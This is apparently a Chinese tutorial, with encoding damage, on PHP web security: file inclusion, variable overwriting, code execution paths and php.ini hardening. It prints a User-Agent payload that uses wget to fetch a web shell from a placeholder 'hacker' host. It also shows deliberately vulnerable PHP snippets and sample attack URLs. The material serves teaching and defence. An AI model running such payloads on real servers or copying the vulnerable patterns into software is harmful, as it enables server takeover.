??時(shí)至今日,PHP是一種非常流行的web開發(fā)語言,但PHP語言的安全問題也很多,而且PHP語言的安全問題有其自身語言的一些特點(diǎn)。
文件包含漏洞
??在互聯(lián)網(wǎng)的安全歷史中,PHP的文件包含漏洞已經(jīng)臭名昭著了,因?yàn)樵诟鞣N各樣的PHP應(yīng)用中挖出的文件包含漏洞數(shù)不勝數(shù),且后果都很嚴(yán)重。
??代碼注入攻擊的原理是注入一段用戶能控制的腳本或代碼,并讓服務(wù)器端執(zhí)行。代碼注入的典型代表就是文件包含(file inclusion)。文件包含可能會(huì)出現(xiàn)在JSP、PHP、ASP等語言中,常見的導(dǎo)致文件包含的函數(shù)如下:
PHP: include(),include_once(),require(),require_once(),fopen(),readfile(),...;
JSP/Servlet: ava.io.File(),java.io.FileReader(),...
ASP: include file(),include virthal(),...
??文件包含是PHP的一種常見用法:主要有四個(gè)函數(shù):
include()
require()
include_once()
require_once()
??當(dāng)用這四個(gè)函數(shù)包含一個(gè)新的文件時(shí),該文件將作為PHP代碼執(zhí)行,PHP內(nèi)核并不會(huì)在意該被包含的文件是什么類型。所以如果被包含的是txt文件、圖片文件、遠(yuǎn)程URL,也都將作為PHP代碼執(zhí)行。這一特性,在實(shí)施攻擊時(shí)將非常有作用。
??成功利用文件包含漏洞,需要滿足兩個(gè)條件:
- 1.include()等函數(shù)通過動(dòng)態(tài)變量的方式引入需要包含的文件;
- 2.用戶能夠控制該動(dòng)態(tài)變量。
本地文件包含
??能夠打開并包含本地文件的漏洞,被稱為貝本地件包含漏洞(local file inclusion,簡(jiǎn)稱LFI)
??關(guān)鍵詞:
- 字符串截?cái)啵篜HP0字節(jié)(\x00作為字符串結(jié)束符;
- 操作系統(tǒng)對(duì)目錄最大長(zhǎng)度限制,超過最大長(zhǎng)度之后的字符將被拋棄(Windows256字節(jié)、Linux4096字節(jié))
- 目錄遍歷:諸如使用了
../../../這樣的方式來返回到上層目錄中的方式,再利用時(shí)可以以編碼的方式繞過安全檢測(cè); - open_basedir:其作用是限制在某個(gè)特定目錄下PHP能打開的文件,需要注意的是open_basedir的值是目錄前綴,列:
open_basedir=/home/app/aaa限制目錄為/home/app(Windows下多個(gè)目錄用分號(hào)隔開,Linux下用冒號(hào)隔開)。
遠(yuǎn)程文件包含
??如果PHP的配置選項(xiàng)allow_url_include為ON的話,則include/require函數(shù)是可以加載遠(yuǎn)程文件的,這種漏洞被稱為遠(yuǎn)程文件包含漏洞(remote file inclusion,簡(jiǎn)稱RFI)
本地文件包含的利用技巧
??
- 包含用戶上傳的文件;
- 包含data://或php://input等偽協(xié)議;
偽協(xié)議如php://input、data://等需要服務(wù)器支持,同時(shí)要求allow_url_include設(shè)置為ON。 - 包含Session文件;
包含Session文件的條件需要攻擊者能控制部分session文件內(nèi)容。 - 包含日志文件,比如web server的access log;
包含日志文件是一種比較通用的技巧。因?yàn)榉?wù)器一般都會(huì)往web server的access_log里記錄客戶端的請(qǐng)求消息,在error_log中記錄出錯(cuò)的請(qǐng)求。因此攻擊者可以間接的將PHP代碼寫入到日志文件中,在文件包含時(shí),只需要包含日志文件即可。(日至文件每天更新,在凌晨時(shí)完成,能夠提高效率) - 包含/proc/self/environ文件
包含/proc/self/environ是一種更為通用的方法,他不需要猜測(cè)被包含文件的路徑,同時(shí)用戶能控制他的內(nèi)容,可以看到web進(jìn)程運(yùn)行時(shí)的環(huán)境變量,其中很多都是用戶可控的,最常用的方法是在User_Agent中注入PHP代碼,比如:
<?php system('wget http://hacker/shells/php.txt -O shell.php');?>
??以上這些方法,都要求PHP能夠包含這些文件,而這些文件往往處于web目錄之外,如果PHP配置了open_basedir,則很可能使得攻擊無效。
- 包含上傳的臨時(shí)文件(RFC1867)。
但是PHP創(chuàng)建的上傳臨時(shí)文件,往往處于PHP允許訪問的目錄范圍內(nèi)。包含這個(gè)臨時(shí)文件的方法,其理論意義大于實(shí)際意義。
PHP會(huì)為上傳文件創(chuàng)建臨時(shí)文件,其目錄在php.ini的upload_tmp_dir中定義。但該值默認(rèn)為空,此時(shí)在Linux系統(tǒng)下會(huì)使用/tmp目錄,在Windows下會(huì)使用C:\windows\tmp目錄。該臨時(shí)文件的文件名是隨機(jī)的,攻擊者必須準(zhǔn)確的猜測(cè)出該文件名才能成功利用漏洞。(可以暴力破解,Windows下僅有65535種不同的文件名) - 包含其他應(yīng)用創(chuàng)建的文件,比如數(shù)據(jù)庫文件、緩存文件、應(yīng)用日志等。
變量覆蓋漏洞
全局變量覆蓋
??變量如果未被初始化,且能被用戶所控制,那么很可能會(huì)導(dǎo)致安全問題,在PHP中,這種情況在register_globals為ON時(shí)尤為嚴(yán)重。register_globals為ON時(shí),變量來源可能是各個(gè)不同的方向,比如頁面的表單、cookie等,當(dāng)用戶能夠控制變量來源是,無論變量有沒有被初始化,都將造成一些安全隱患。
extract()變量覆蓋
??extract()函數(shù)能將變量從數(shù)組導(dǎo)入當(dāng)前的符號(hào)表,其函數(shù)定義如下:
int extract(array $var_array [, int $extract_type [, string $prefix]])
??其中第二個(gè)參數(shù)指定函數(shù)將變量導(dǎo)入符號(hào)表時(shí)的行為,最常見的兩個(gè)值是“EXTR_OVERWRITE”和“EXTR_SKIP”。當(dāng)值為“EXTR_OVERWRITE”時(shí),再將值導(dǎo)入符號(hào)表的過程中,如果變量名發(fā)生沖突,則覆蓋已有變量;當(dāng)值為“EXTR_SKIP”則表示跳不過覆蓋。若第二個(gè)參數(shù)未指定,則默認(rèn)為“EXTR_OVERWRITE”。
??一種較為安全的做法是確定register_globals=OFF后,在調(diào)用extract()時(shí)使用EXTR_SKIP保證已有變量不被覆蓋。(extract()的來源不能被用戶控制)
??在PHP中是由php.ini中的variables_order所定義的順序來獲取變量的。
遍歷初始化變量
??常見的一些以遍歷的方式釋放變量的代碼,可能會(huì)導(dǎo)致變量覆蓋。在代碼審計(jì)時(shí)需要注意類似“$$k”的變量賦值方式有可能覆蓋已有變量,從而導(dǎo)致一些不可控制的結(jié)果。
import_request_variables變量覆蓋
bool import_request_variables(string $type [, string $prefix])
import_request_variables()將GET、POST、Cookie中的變量導(dǎo)入到全局,使用這個(gè)函數(shù)只需要簡(jiǎn)單的指定類型即可。
parse_str()變量覆蓋
  void parse_str(string $str [,array &$arr])
??parse_str()函數(shù)往往被用于解析URL的querystring,但是當(dāng)參數(shù)值能被用戶控制時(shí),很可能導(dǎo)致變量覆蓋。如果指定了parse_str()的第二個(gè)參數(shù),則會(huì)將query string中的變量解析后存入該數(shù)組變量中。因此在使用parse_str()時(shí),應(yīng)盡量指定第二個(gè)參數(shù)。與parse_str()相似的函數(shù)還有mb_parse_str()。
??安全建議:
1.確保register_globals=OFF。若不能定義php.ini,則在代碼中控制
2.熟悉可能造成變量覆蓋的函數(shù)和方法,檢查用戶是否能控制變量的來源。
3.盡可能的初始化變量。
代碼執(zhí)行漏洞
??PHP代碼執(zhí)行的兩個(gè)關(guān)鍵條件:
- 第一是用戶能夠控制的函數(shù)輸入;
- 第二是存在可以執(zhí)行代碼的危險(xiǎn)函數(shù)。
”危險(xiǎn)函數(shù)“執(zhí)行代碼
??文件包含漏洞是可以引起代碼執(zhí)行的。但在PHP中,能夠執(zhí)行代碼的方式遠(yuǎn)不止文件包含漏洞一種,比如危險(xiǎn)函數(shù)popen()、system()、passthru()、exec()等都可以執(zhí)行系統(tǒng)命令。此外,eval()函數(shù)也可執(zhí)行PHP代碼。還有一些比較特殊的情況,比如允許用戶上傳PHP代碼,或者是應(yīng)用寫入到服務(wù)器的文件內(nèi)容和文件類型可以由用戶控制,都可能導(dǎo)致代碼執(zhí)行。
挖掘漏洞的過程,通常需要先找到危險(xiǎn)函數(shù),然后回溯函數(shù)的調(diào)用過程,最終看在整個(gè)調(diào)用過程中用戶是否有可能控制輸入。
”文件寫入“執(zhí)行代碼
??在PHP中對(duì)文件的操作一定要謹(jǐn)慎,如果文件操作的內(nèi)容用戶可以控制,則也極容易成為漏洞。
其他執(zhí)行代碼方式
直接執(zhí)行代碼的函數(shù)
??PHP中有不少可以直接執(zhí)行代碼的函數(shù),比如:eval()、assert()、system()、exec()0、shell_exec()、passthru()、escapeshellcmd()、pcntl_exec()等。一般來說最好在PHP中禁用這些函數(shù),在審計(jì)代碼時(shí)則可以檢查代碼中是否存在這些函數(shù),然后回溯危險(xiǎn)函數(shù)的調(diào)用過程,看用戶是否可以控制輸入。
文件包含
??文件包含漏洞也是代碼注入的一種,需要高度關(guān)注能夠包含文件的函數(shù):include(),include_once(),require(),require_once()。
本地文件寫入
??常見的能夠往本地文件里寫入內(nèi)容的函數(shù)有file_put_contents(),fwrite(),fputs()等。寫入文件的功能可以和文件包含、危險(xiǎn)函數(shù)、執(zhí)行等漏洞結(jié)合,最終使得原本用戶無法控制的輸入變成可控。在代碼審計(jì)時(shí)要注意這種”組合類“漏洞。
preg_replace()代碼執(zhí)行
??preg_replace()的第一個(gè)參數(shù)如果存在/e模式修飾符,則允許代碼執(zhí)行。當(dāng)?shù)谝粋€(gè)參數(shù)中沒有沒有/e模式修飾符時(shí),也是有可能執(zhí)行代碼的,這要求在第一個(gè)參數(shù)中包含變量,并且用戶可控制,有可能通過注入/e%00的方式截?cái)辔谋?,注?e。
<?php
$var='<tag>phpinfo()</tag>';
preg_replace("/<tag>(.*?)<\/tag>/e",'addslashes(\\1)',$var);
?>
動(dòng)態(tài)函數(shù)執(zhí)行
??用戶自定義的動(dòng)態(tài)函數(shù)可以導(dǎo)致代碼執(zhí)行。需要注意如下情況:
<?php
$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);
?>
??這種寫法近似于后門,將直接導(dǎo)致代碼執(zhí)行,比如:
http://www.example.com/index.php?dyn_func=system&argument=uname
Curly Syntax
??PHP的Curly Syntax也能導(dǎo)致代碼執(zhí)行,他將執(zhí)行花括號(hào)間的代碼,并將結(jié)果替換回去,如:
<?php
$var = "I Love You ${'ls'}";
?>
??ls命令將列出本地目錄的文件
回調(diào)函數(shù)執(zhí)行代碼
??很多函數(shù)都可以執(zhí)行回調(diào)函數(shù),當(dāng)回調(diào)函數(shù)用戶可控時(shí),將導(dǎo)致代碼執(zhí)行。
<?php
$evil_callback = $_GET['callback'];
$some_array = array(0,1,2,3);
$new_array = array_map($evil_callback,$some_array);
?>
攻擊payload如下:
http://www.example.com/index.php?callback=phpinfo
unserialize()導(dǎo)致代碼執(zhí)行
??unserialize()代碼執(zhí)行有兩個(gè)條件:
- unserialize()的參數(shù)用戶可以控制,這樣可以構(gòu)造出需要反序列化的數(shù)據(jù)結(jié)構(gòu);
- 存在_destruct()函數(shù)或者_(dá)wakeup()函數(shù)。這兩個(gè)函數(shù)實(shí)現(xiàn)的邏輯決定了能執(zhí)行什么樣的代碼。
定制安全的PHP環(huán)境
??推薦php.ini中一些安全參數(shù)的配置:
- register_globals
當(dāng)register_globals=ON時(shí),PHP不知道變量從何而來,也容易出現(xiàn)一些變量覆蓋的問題。因此從最佳實(shí)踐的角度,強(qiáng)烈建議設(shè)置register_globals=OFF,改設(shè)置在最新版本的PHP中默認(rèn)設(shè)置。 - open_basedir
open_basedir可以限制PHP只能操作指定目錄下的文件。這在對(duì)抗文件包含、目錄遍歷等攻擊時(shí)非常有用。open_basedir = /home/web/1/ - allow_url_include
為了對(duì)抗遠(yuǎn)程文件包含,關(guān)閉此選項(xiàng),一般PHP應(yīng)用不會(huì)用到此選項(xiàng),而且推薦關(guān)閉allow_url_fopen.allow_url_include = Off allow_url_fopen = Off - display_errors
錯(cuò)誤回顯,它可以暴露出非常多的敏感信息,為攻擊者下一步攻擊提供便利。推薦關(guān)閉display_errors = Off - log_errors
在正常環(huán)境下使用,把錯(cuò)誤信息記錄在日志里,正好可以關(guān)閉錯(cuò)誤回顯:log_errors = On - magic_quotes_gpc
推薦關(guān)閉,他并不值得依賴,已知已經(jīng)有若干種方法可以繞過它,甚至由于他的存在反而衍生出了一些新的安全問題。XSS、SQL注入等漏洞,都應(yīng)該由應(yīng)用在正確的地方解決,同時(shí)關(guān)閉它還能提高性能。magic_quotes_gpc = Off - cgi.fix_pathinfo
若PHP以CGI的方式安裝,則需要關(guān)閉此項(xiàng),以避免出現(xiàn)文件解析問題cgi.fix_pathinfo = 0 - session.cookie_httponly
開啟httponlysession.cookie_httponly = 1 - session.cookie_secure
若是全站HTTPS則請(qǐng)開啟此項(xiàng)。session.cookie_secure = 1 - safe_mode && disable_functions
PHP的安全模式是否被開啟一直有爭(zhēng)議,因?yàn)樗梢员焕@過,disable_functions函數(shù)能夠在PHP中禁用一些函數(shù)。共享環(huán)境中(比如:APP Engine)則建議開啟safe_mode,并和disable_functions函數(shù)配合使用;單獨(dú)的應(yīng)用環(huán)境,則可以考慮關(guān)閉safe_mode,利用disable_functions控制運(yùn)行環(huán)境安全。
小結(jié)
??PHP是一門被廣泛使用的web開發(fā)預(yù)言,它的語法和使用方式非常的靈活,這也導(dǎo)致了PHP代碼安全評(píng)估的難度相對(duì)較高,PHP的安全問題相對(duì)較多。